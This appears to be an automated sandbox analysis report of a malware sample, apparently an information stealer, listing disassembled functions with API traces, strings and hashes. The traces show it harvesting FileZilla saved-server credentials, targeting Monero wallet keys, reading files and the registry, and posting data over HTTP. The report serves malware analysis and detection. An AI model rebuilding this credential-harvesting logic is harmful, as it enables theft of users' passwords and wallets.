                                    Function 00E575A8 Relevance: .0, Instructions: 15COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
                                    • Instruction ID: 6f3579539133c16e82723237803b8971b03cd8b531f9f429ebb9f832563e04b3
                                    • Opcode Fuzzy Hash: dffa8fe14fb17786e60520bf3c8c8ace1f347de8b7b0a65a7913e683934b358a
                                    • Instruction Fuzzy Hash: 27D0C971A097118FC3688F1EF440546FAE8EBD8320715C53FA09EC3750C6B494418B54
                                    Function 00E29AA0 Relevance: .0, Instructions: 15COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                    • Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
                                    • Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
                                    • Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90
                                    Function 00E203B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E28F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28F9B
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E1A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E1A13C
                                      • Part of subcall function 00E1A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E1A161
                                      • Part of subcall function 00E1A110: LocalAlloc.KERNEL32(00000040,?), ref: 00E1A181
                                      • Part of subcall function 00E1A110: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E1A1AA
                                      • Part of subcall function 00E1A110: LocalFree.KERNEL32(00E1148F), ref: 00E1A1E0
                                      • Part of subcall function 00E1A110: CloseHandle.KERNEL32(000000FF), ref: 00E1A1EA
                                      • Part of subcall function 00E28FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28FE2
                                    • GetProcessHeap.KERNEL32(00000000,000F423F,00E30DBF,00E30DBE,00E30DBB,00E30DBA), ref: 00E204C2
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E204C9
                                    • StrStrA.SHLWAPI(00000000,<Host>), ref: 00E204E5
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E204F3
                                    • StrStrA.SHLWAPI(00000000,<Port>), ref: 00E2052F
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E2053D
                                    • StrStrA.SHLWAPI(00000000,<User>), ref: 00E20579
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E20587
                                    • StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00E205C3
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E205D5
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E20662
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E2067A
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E20692
                                    • lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E206AA
                                    • lstrcat.KERNEL32(?,browser: FileZilla), ref: 00E206C2
                                    • lstrcat.KERNEL32(?,profile: null), ref: 00E206D1
                                    • lstrcat.KERNEL32(?,url: ), ref: 00E206E0
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E206F3
                                    • lstrcat.KERNEL32(?,00E31770), ref: 00E20702
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E20715
                                    • lstrcat.KERNEL32(?,00E31774), ref: 00E20724
                                    • lstrcat.KERNEL32(?,login: ), ref: 00E20733
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E20746
                                    • lstrcat.KERNEL32(?,00E31780), ref: 00E20755
                                    • lstrcat.KERNEL32(?,password: ), ref: 00E20764
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E20777
                                    • lstrcat.KERNEL32(?,00E31790), ref: 00E20786
                                    • lstrcat.KERNEL32(?,00E31794), ref: 00E20795
                                    • lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB7), ref: 00E207EE
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
                                    • String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
                                    • API String ID: 1942843190-555421843
                                    • Opcode ID: c31cf8073154590c85fe8da841d53e4b72dbddf4947ed1e55c3b435840b2a812
                                    • Instruction ID: a6241a9044673b64beb8774b03c98dff531a4c6a5c39fef22df7feda0fea8438
                                    • Opcode Fuzzy Hash: c31cf8073154590c85fe8da841d53e4b72dbddf4947ed1e55c3b435840b2a812
                                    • Instruction Fuzzy Hash: 19D16171D00218ABCB14EBF4ED5AEEE77B9AF14700F449569F102B7095EF35AA04CB61
                                    Function 00E159B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                      • Part of subcall function 00E14800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14889
                                      • Part of subcall function 00E14800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14899
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E15A48
                                    • StrCmpCA.SHLWAPI(?,0099FB60), ref: 00E15A63
                                    • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E15BE3
                                    • lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0099FB20,00000000,?,0099EB60,00000000,?,00E31B4C), ref: 00E15EC1
                                    • lstrlen.KERNEL32(00000000), ref: 00E15ED2
                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00E15EE3
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E15EEA
                                    • lstrlen.KERNEL32(00000000), ref: 00E15EFF
                                    • lstrlen.KERNEL32(00000000), ref: 00E15F28
                                    • lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E15F41
                                    • lstrlen.KERNEL32(00000000,?,?), ref: 00E15F6B
                                    • HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E15F7F
                                    • InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00E15F9C
                                    • InternetCloseHandle.WININET(00000000), ref: 00E16000
                                    • InternetCloseHandle.WININET(00000000), ref: 00E1600D
                                    • HttpOpenRequestA.WININET(00000000,0099FA30,?,0099F2D8,00000000,00000000,00400100,00000000), ref: 00E15C48
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • InternetCloseHandle.WININET(00000000), ref: 00E16017
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
                                    • String ID: "$"$------$------$------
                                    • API String ID: 874700897-2180234286
                                    • Opcode ID: 055fdad491dd5b4aa30d05e2390918868016a8d9edc14f0cf37669189a2106db
                                    • Instruction ID: 34a57bfcb2a3fe544cefbbc9560b6e82fe07180df84247df2ae7bb671fa89d3c
                                    • Opcode Fuzzy Hash: 055fdad491dd5b4aa30d05e2390918868016a8d9edc14f0cf37669189a2106db
                                    • Instruction Fuzzy Hash: AF120371920128ABCB15EBA0ECA6FEEB3B9BF14700F4855E9F10676091DF706A48CF55
                                    Function 00E1CFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E28CF0: GetSystemTime.KERNEL32(00E30E1B,0099EA10,00E305B6,?,?,00E113F9,?,0000001A,00E30E1B,00000000,?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E28D16
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                    • CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1D083
                                    • GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E1D1C7
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00E1D1CE
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D308
                                    • lstrcat.KERNEL32(?,00E31570), ref: 00E1D317
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D32A
                                    • lstrcat.KERNEL32(?,00E31574), ref: 00E1D339
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D34C
                                    • lstrcat.KERNEL32(?,00E31578), ref: 00E1D35B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D36E
                                    • lstrcat.KERNEL32(?,00E3157C), ref: 00E1D37D
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D390
                                    • lstrcat.KERNEL32(?,00E31580), ref: 00E1D39F
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D3B2
                                    • lstrcat.KERNEL32(?,00E31584), ref: 00E1D3C1
                                    • lstrcat.KERNEL32(?,00000000), ref: 00E1D3D4
                                    • lstrcat.KERNEL32(?,00E31588), ref: 00E1D3E3
                                      • Part of subcall function 00E2AB30: lstrlen.KERNEL32(UO,?,?,00E14F55,00E30DDF), ref: 00E2AB3B
                                      • Part of subcall function 00E2AB30: lstrcpy.KERNEL32(00E30DDF,00000000), ref: 00E2AB95
                                    • lstrlen.KERNEL32(?), ref: 00E1D42A
                                    • lstrlen.KERNEL32(?), ref: 00E1D439
                                      • Part of subcall function 00E2AD80: StrCmpCA.SHLWAPI(00000000,00E31568,00E1D2A2,00E31568,00000000), ref: 00E2AD9F
                                    • DeleteFileA.KERNEL32(00000000), ref: 00E1D4B4
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
                                    • String ID:
                                    • API String ID: 1956182324-0
                                    • Opcode ID: 22daf2edd993ca7bc3ed64747f2d6c73ca7bf9125ad9989eeb957d81aca29b68
                                    • Instruction ID: df2a1dd11da8654effa7a6711bb218ae810ce5a0f213fd0e2f43d248e847947e
                                    • Opcode Fuzzy Hash: 22daf2edd993ca7bc3ed64747f2d6c73ca7bf9125ad9989eeb957d81aca29b68
                                    • Instruction Fuzzy Hash: 13E16171910118ABCB18FBA0ED96EEE77B9BF14701F0455A8F10776091DF36AE48CB62
                                    Function 00E1CA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                      • Part of subcall function 00E2AC30: lstrcpy.KERNEL32(00000000,?), ref: 00E2AC82
                                      • Part of subcall function 00E2AC30: lstrcat.KERNEL32(00000000), ref: 00E2AC92
                                      • Part of subcall function 00E2ABB0: lstrcpy.KERNEL32(?,00E30E1A), ref: 00E2AC15
                                      • Part of subcall function 00E2ACC0: lstrlen.KERNEL32(?,00998918,?,\Monero\wallet.keys,00E30E1A), ref: 00E2ACD5
                                      • Part of subcall function 00E2ACC0: lstrcpy.KERNEL32(00000000), ref: 00E2AD14
                                      • Part of subcall function 00E2ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AD22
                                    • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0099DE20,00000000,?,00E31544,00000000,?,?), ref: 00E1CB6C
                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00E1CB89
                                    • GetFileSize.KERNEL32(00000000,00000000), ref: 00E1CB95
                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E1CBA8
                                    • ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00E1CBD9
                                    • StrStrA.SHLWAPI(?,0099DE80,00E30B56), ref: 00E1CBF7
                                    • StrStrA.SHLWAPI(00000000,0099DE38), ref: 00E1CC1E
                                    • StrStrA.SHLWAPI(?,0099E6C8,00000000,?,00E31550,00000000,?,00000000,00000000,?,00998AA8,00000000,?,00E3154C,00000000,?), ref: 00E1CDA2
                                    • StrStrA.SHLWAPI(00000000,0099E428), ref: 00E1CDB9
                                      • Part of subcall function 00E1C920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E1C971
                                      • Part of subcall function 00E1C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E1C97C
                                    • StrStrA.SHLWAPI(?,0099E428,00000000,?,00E31554,00000000,?,00000000,00998AB8), ref: 00E1CE5A
                                    • StrStrA.SHLWAPI(00000000,00998A58), ref: 00E1CE71
                                      • Part of subcall function 00E1C920: lstrcat.KERNEL32(?,00E30B47), ref: 00E1CA43
                                      • Part of subcall function 00E1C920: lstrcat.KERNEL32(?,00E30B4B), ref: 00E1CA57
                                      • Part of subcall function 00E1C920: lstrcat.KERNEL32(?,00E30B4E), ref: 00E1CA78
                                    • lstrlen.KERNEL32(00000000), ref: 00E1CF44
                                    • CloseHandle.KERNEL32(00000000), ref: 00E1CF9C
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
                                    • String ID:
                                    • API String ID: 3744635739-3916222277
                                    • Opcode ID: 2355afd0aedc834fb7609daeee035ccb41617e21faf2f4f8adc5e2f39891fa0d
                                    • Instruction ID: bac239d91dad335025388c42a53dc157dc251f04e61bfbd1db91fb1eb9f2c5ec
                                    • Opcode Fuzzy Hash: 2355afd0aedc834fb7609daeee035ccb41617e21faf2f4f8adc5e2f39891fa0d
                                    • Instruction Fuzzy Hash: C4E12D71900118ABCB14EBA4ECA2FEEB7B9BF54300F0855A9F10777191EF356A49CB61
                                    Function 00E284B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00E2AA50: lstrcpy.KERNEL32(00E30E1A,00000000), ref: 00E2AA98
                                    • RegOpenKeyExA.ADVAPI32(00000000,0099BD90,00000000,00020019,00000000,00E305BE), ref: 00E28534
                                    • RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E285B6
                                    • wsprintfA.USER32 ref: 00E285E9
                                    • RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E2860B
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E2861C
                                    • RegCloseKey.ADVAPI32(00000000), ref: 00E28629
                                      • Part of subcall function 00E2AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00E2AAF6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
